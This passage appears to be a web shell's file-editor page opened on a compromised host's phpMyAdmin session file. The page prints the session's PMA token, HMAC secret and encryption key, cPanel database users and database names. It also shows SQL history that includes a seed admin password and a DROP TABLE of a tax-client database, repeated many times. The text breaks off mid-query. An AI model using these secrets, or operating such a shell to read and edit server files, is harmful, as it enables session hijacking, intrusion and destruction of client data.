

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: sess_b607099df16b1f3757a30a5e17928872</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'> PMA_token |s:32:&quot;627d6e227d2e6f2c73525547393f7d40&quot;; HMAC_secret |s:16:&quot;$!r)fi?yP\s9@Xc5&quot;;auth_type|s:3:&quot;env&quot;;browser_access_time|a:12:{s:7:&quot;default&quot;;i:1764226818;s:36:&quot;ac1bd681-6a2a-b812-df64-258bbf3de8fd&quot;;i:1763849210;s:36:&quot;98bf6065-f807-ba92-64cf-17ad43e70a42&quot;;i:1763852280;s:36:&quot;ae0848a2-aea1-d264-29fa-07f28c2f9389&quot;;i:1763858633;s:36:&quot;10c42799-1631-d4a4-2219-5a41e835510a&quot;;i:1763860864;s:36:&quot;f2a42e66-3f8d-90e3-ce32-09482cc8f088&quot;;i:1763862960;s:36:&quot;9a554b64-363f-782d-7483-638bbc1c4558&quot;;i:1763865915;s:36:&quot;494c7455-d583-f6ad-c9fe-bbc3519ff7b7&quot;;i:1763867705;s:36:&quot;4c9c1f88-ee7a-6610-c070-e3a04b588aef&quot;;i:1763873168;s:36:&quot;27d6c653-b0eb-8d07-b5a0-7946f913c4ac&quot;;i:1763875348;s:36:&quot;3de0aecb-2f48-dff3-6ba7-356ae71e9e43&quot;;i:1763878366;s:36:&quot;6b50e8d1-c82b-09fd-cff0-7ee57cdea27f&quot;;i:1764230206;}encryption_key|s:32:&quot;ѯ��(��УF��E���~��!���H�&quot;;relation|a:1:{i:1;a:41:{s:7:&quot;version&quot;;s:5:&quot;5.2.2&quot;;s:4:&quot;user&quot;;N;s:2:&quot;db&quot;;N;s:8:&quot;bookmark&quot;;N;s:15:&quot;central_columns&quot;;N;s:11:&quot;column_info&quot;;N;s:17:&quot;designer_settings&quot;;N;s:16:&quot;export_templates&quot;;N;s:8:&quot;favorite&quot;;N;s:7:&quot;history&quot;;N;s:16:&quot;navigationhiding&quot;;N;s:9:&quot;pdf_pages&quot;;N;s:6:&quot;recent&quot;;N;s:8:&quot;relation&quot;;N;s:13:&quot;savedsearches&quot;;N;s:12:&quot;table_coords&quot;;N;s:10:&quot;table_info&quot;;N;s:13:&quot;table_uiprefs&quot;;N;s:8:&quot;tracking&quot;;N;s:10:&quot;userconfig&quot;;N;s:10:&quot;usergroups&quot;;N;s:5:&quot;users&quot;;N;s:12:&quot;bookmarkwork&quot;;b:0;s:8:&quot;mimework&quot;;b:0;s:18:&quot;centralcolumnswork&quot;;b:0;s:8:&quot;commwork&quot;;b:0;s:9:&quot;menuswork&quot;;b:0;s:20:&quot;designersettingswork&quot;;b:0;s:11:&quot;displaywork&quot;;b:0;s:19:&quot;exporttemplateswork&quot;;b:0;s:12:&quot;favoritework&quot;;b:0;s:7:&quot;navwork&quot;;b:0;s:7:&quot;pdfwork&quot;;b:0;s:10:&quot;recentwork&quot;;b:0;s:7:&quot;relwork&quot;;b:0;s:17:&quot;savedsearcheswork&quot;;b:0;s:11:&quot;historywork&quot;;b:0;s:12:&quot;trackingwork&quot;;b:0;s:11:&quot;uiprefswork&quot;;b:0;s:14:&quot;userconfigwork&quot;;b:0;s:8:&quot;allworks&quot;;b:0;}}userconfig|a:2:{s:2:&quot;db&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:12:&quot;Console/Mode&quot;;s:8:&quot;collapse&quot;;}s:2:&quot;ts&quot;;i:1764226818;}two_factor_check|b:1;cache|a:3:{s:8:&quot;server_1&quot;;a:4:{s:15:&quot;userprefs_mtime&quot;;i:1764226818;s:14:&quot;userprefs_type&quot;;s:7:&quot;session&quot;;s:12:&quot;config_mtime&quot;;i:1754420662;s:9:&quot;userprefs&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}}}s:25:&quot;server_1_cpses_qbjnavtmmi&quot;;a:17:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:10:{i:0;s:19:&quot;qbfdcvcb\_ecs\_csms&quot;;i:1;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;i:2;s:15:&quot;qbfdcvcb\_teats&quot;;i:3;s:25:&quot;qbfdcvcb\_site-management&quot;;i:4;s:19:&quot;qbfdcvcb\_wp\_qo21x&quot;;i:5;s:14:&quot;qbfdcvcb\_capp&quot;;i:6;s:14:&quot;qbfdcvcb\_csms&quot;;i:7;s:15:&quot;qbfdcvcb\_stfv2&quot;;i:8;s:17:&quot;qbfdcvcb\_bagisto&quot;;i:9;s:21:&quot;qbfdcvcb\_stf\_portal&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:17:&quot;menu-levels-table&quot;;a:11:{s:6:&quot;browse&quot;;s:6:&quot;Browse&quot;;s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:6:&quot;insert&quot;;s:6:&quot;Insert&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;}s:12:&quot;is_superuser&quot;;b:0;s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qbjnavtmmi@localhost&quot;;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}s:25:&quot;server_1_cpses_qb2rnrzmox&quot;;a:16:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:10:{i:0;s:14:&quot;qbfdcvcb\_capp&quot;;i:1;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;i:2;s:15:&quot;qbfdcvcb\_teats&quot;;i:3;s:19:&quot;qbfdcvcb\_wp\_qo21x&quot;;i:4;s:25:&quot;qbfdcvcb\_site-management&quot;;i:5;s:19:&quot;qbfdcvcb\_ecs\_csms&quot;;i:6;s:14:&quot;qbfdcvcb\_csms&quot;;i:7;s:17:&quot;qbfdcvcb\_bagisto&quot;;i:8;s:15:&quot;qbfdcvcb\_stfv2&quot;;i:9;s:21:&quot;qbfdcvcb\_stf\_portal&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:12:&quot;is_superuser&quot;;b:0;s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qb2rnrzmox@localhost&quot;;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}}tmpval|a:14:{s:14:&quot;favoriteTables&quot;;a:1:{i:1;a:0:{}}s:12:&quot;recentTables&quot;;a:1:{i:1;a:0:{}}s:5:&quot;query&quot;;a:10:{s:32:&quot;437e3973b211f564b9339df9ee323fd5&quot;;a:8:{s:3:&quot;sql&quot;;s:504:&quot;-- Transit table (stock in transit before inward)
CREATE TABLE IF NOT EXISTS transit (
    id INT AUTO_INCREMENT PRIMARY KEY,
    document_no VARCHAR(50) NOT NULL,
    chassis_number VARCHAR(50) NOT NULL,
    purchase_price DECIMAL(15,2) DEFAULT NULL,
    ndp_price DECIMAL(15,2) DEFAULT NULL,
    nag_number VARCHAR(50) DEFAULT NULL,
    vehicle_model VARCHAR(100) DEFAULT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    status ENUM(&#039;pending&#039;,&#039;received&#039;) DEFAULT &#039;pending&#039;
) ENGINE=InnoDB;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;395ba18c2a5d3da49d23f1540d5a07a2&quot;;a:8:{s:3:&quot;sql&quot;;s:468:&quot;-- Inward table (stock available in branch)
CREATE TABLE IF NOT EXISTS inward (
    id INT AUTO_INCREMENT PRIMARY KEY,
    transit_id INT NOT NULL,
    engine_number VARCHAR(50) DEFAULT NULL,
    branch_id INT NOT NULL,
    received_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    status ENUM(&#039;in_stock&#039;,&#039;allocated&#039;,&#039;transferred&#039;) DEFAULT &#039;in_stock&#039;,
    FOREIGN KEY (transit_id) REFERENCES transit(id),
    FOREIGN KEY (branch_id) REFERENCES branches(id)
) ENGINE=InnoDB;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;d1b01297f3526ee546e94098b100733d&quot;;a:8:{s:3:&quot;sql&quot;;s:703:&quot;-- Transfers table (stock movement)
CREATE TABLE IF NOT EXISTS transfers (
    id INT AUTO_INCREMENT PRIMARY KEY,
    inward_id INT NOT NULL,
    from_branch INT NOT NULL,
    to_branch INT NOT NULL,
    requested_by INT NOT NULL,
    approved_by INT DEFAULT NULL,
    requested_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    approved_at TIMESTAMP NULL,
    status ENUM(&#039;requested&#039;,&#039;approved&#039;,&#039;completed&#039;) DEFAULT &#039;requested&#039;,
    FOREIGN KEY (inward_id) REFERENCES inward(id),
    FOREIGN KEY (from_branch) REFERENCES branches(id),
    FOREIGN KEY (to_branch) REFERENCES branches(id),
    FOREIGN KEY (requested_by) REFERENCES users(id),
    FOREIGN KEY (approved_by) REFERENCES users(id)
) ENGINE=InnoDB;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;42a4396d6b7346c01e88be6d981c5dc3&quot;;a:8:{s:3:&quot;sql&quot;;s:668:&quot;-- Vehicle bookings table
CREATE TABLE IF NOT EXISTS vehicle_bookings (
    id INT AUTO_INCREMENT PRIMARY KEY,
    booking_no VARCHAR(50) NOT NULL UNIQUE,
    customer_name VARCHAR(100) NOT NULL,
    customer_contact VARCHAR(20) NOT NULL,
    chassis_number VARCHAR(50) DEFAULT NULL,
    vehicle_model VARCHAR(100) DEFAULT NULL,
    branch_id INT NOT NULL,
    created_by INT NOT NULL,
    booking_date DATE DEFAULT CURRENT_DATE,
    status ENUM(&#039;draft&#039;,&#039;submitted&#039;,&#039;approved&#039;,&#039;delivered&#039;) DEFAULT &#039;draft&#039;,
    total_amount DECIMAL(15,2) DEFAULT 0,
    FOREIGN KEY (branch_id) REFERENCES branches(id),
    FOREIGN KEY (created_by) REFERENCES users(id)
) ENGINE=InnoDB;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;8117b9db6b99b8e0082d50b286ba9884&quot;;a:8:{s:3:&quot;sql&quot;;s:553:&quot;-- Service bookings table
CREATE TABLE IF NOT EXISTS service_bookings (
    id INT AUTO_INCREMENT PRIMARY KEY,
    service_no VARCHAR(50) NOT NULL UNIQUE,
    customer_name VARCHAR(100) NOT NULL,
    vehicle_rc VARCHAR(50) DEFAULT NULL,
    complaint TEXT DEFAULT NULL,
    branch_id INT NOT NULL,
    created_by INT NOT NULL,
    booking_date DATE DEFAULT CURRENT_DATE,
    status ENUM(&#039;open&#039;,&#039;in_progress&#039;,&#039;closed&#039;) DEFAULT &#039;open&#039;,
    FOREIGN KEY (branch_id) REFERENCES branches(id),
    FOREIGN KEY (created_by) REFERENCES users(id)
) ENGINE=InnoDB;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;d9fc9cfb31118e9f604400521e9d2912&quot;;a:8:{s:3:&quot;sql&quot;;s:395:&quot;-- Targets table (monthly targets for executives)
CREATE TABLE IF NOT EXISTS targets (
    id INT AUTO_INCREMENT PRIMARY KEY,
    user_id INT NOT NULL,
    target_amount DECIMAL(15,2) DEFAULT NULL,
    target_count INT DEFAULT NULL,
    month INT NOT NULL,
    year INT NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id)
) ENGINE=InnoDB;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;5bacd5814c4a8555ba9298b4356297c2&quot;;a:8:{s:3:&quot;sql&quot;;s:313:&quot;-- Insert initial roles
INSERT INTO roles (name, description) VALUES
 (&#039;dealer_admin&#039;,&#039;Dealer administrator&#039;),
 (&#039;stock_incharge&#039;,&#039;Stock in-charge&#039;),
 (&#039;division_manager&#039;,&#039;Division manager&#039;),
 (&#039;branch_manager&#039;,&#039;Branch manager&#039;),
 (&#039;sales_executive&#039;,&#039;Sales executive&#039;),
 (&#039;service_executive&#039;,&#039;Service executive&#039;);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;d1176bd8a1e2afbeca3ba3bac8a0a445&quot;;a:8:{s:3:&quot;sql&quot;;s:124:&quot;-- Insert initial divisions and branches (sample)
INSERT INTO divisions (name) VALUES (&#039;North Division&#039;),(&#039;South Division&#039;);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;d6c03a88153dc44cccf436a4618cf66e&quot;;a:8:{s:3:&quot;sql&quot;;s:177:&quot;INSERT INTO branches (division_id, code, name) VALUES
 (1, &#039;ND01&#039;,&#039;North Branch 1&#039;),
 (1, &#039;ND02&#039;,&#039;North Branch 2&#039;),
 (2, &#039;SD01&#039;,&#039;South Branch 1&#039;),
 (2, &#039;SD02&#039;,&#039;South Branch 2&#039;);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;55f28542aa1ed10538aa863ac5a917cd&quot;;a:8:{s:3:&quot;sql&quot;;s:215:&quot;-- Insert initial admin user (username: admin, password: admin123)
INSERT INTO users (username, password_hash, name, role_id, division_id, branch_id) VALUES
 (&#039;admin&#039;, SHA2(&#039;admin123&#039;,256), &#039;System Admin&#039;, 1, 1, 1);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}}s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;s:12:&quot;display_blob&quot;;b:0;s:19:&quot;hide_transformation&quot;;b:0;s:3:&quot;pos&quot;;i:0;s:8:&quot;max_rows&quot;;i:25;s:12:&quot;repeat_cells&quot;;i:100;s:18:&quot;table_limit_offset&quot;;i:0;s:21:&quot;table_limit_offset_db&quot;;s:13:&quot;qbfdcvcb_vvct&quot;;}git_location|N;is_git_revision|b:0;ConfigFile1|a:4:{s:28:&quot;PmaNoRelation_DisableWarning&quot;;b:1;s:12:&quot;ShowCreateDb&quot;;b:0;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}s:7:&quot;Servers&quot;;a:1:{i:1;a:2:{s:7:&quot;only_db&quot;;s:0:&quot;&quot;;s:7:&quot;hide_db&quot;;s:0:&quot;&quot;;}}}debug|a:0:{}flashMessages|a:0:{}sql_history|a:13:{i:0;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:1;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:2;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:3;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:4;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:5;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:6;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:645:&quot;/* ------------------------------------------------------------------
   Invoices extensions
   ------------------------------------------------------------------ */
-- Add columns to track the filing lifecycle and payment status.  These
-- columns will only be added if they are missing.
ALTER TABLE `invoices`
  ADD COLUMN IF NOT EXISTS `filing_status` ENUM(
    &#039;docs_pending&#039;,&#039;preparation_pending&#039;,&#039;review_pending&#039;,
    &#039;payment_pending&#039;,&#039;final_draft_pending&#039;,&#039;e_filing_pending&#039;,&#039;filing_completed&#039;
  ) NOT NULL DEFAULT &#039;docs_pending&#039;,
  ADD COLUMN IF NOT EXISTS `payment_status` ENUM(&#039;pending&#039;,&#039;partial&#039;,&#039;paid&#039;)
  NOT NULL DEFAULT &#039;pending&#039;;&quot;;}i:7;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:8;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:9;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:10;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, 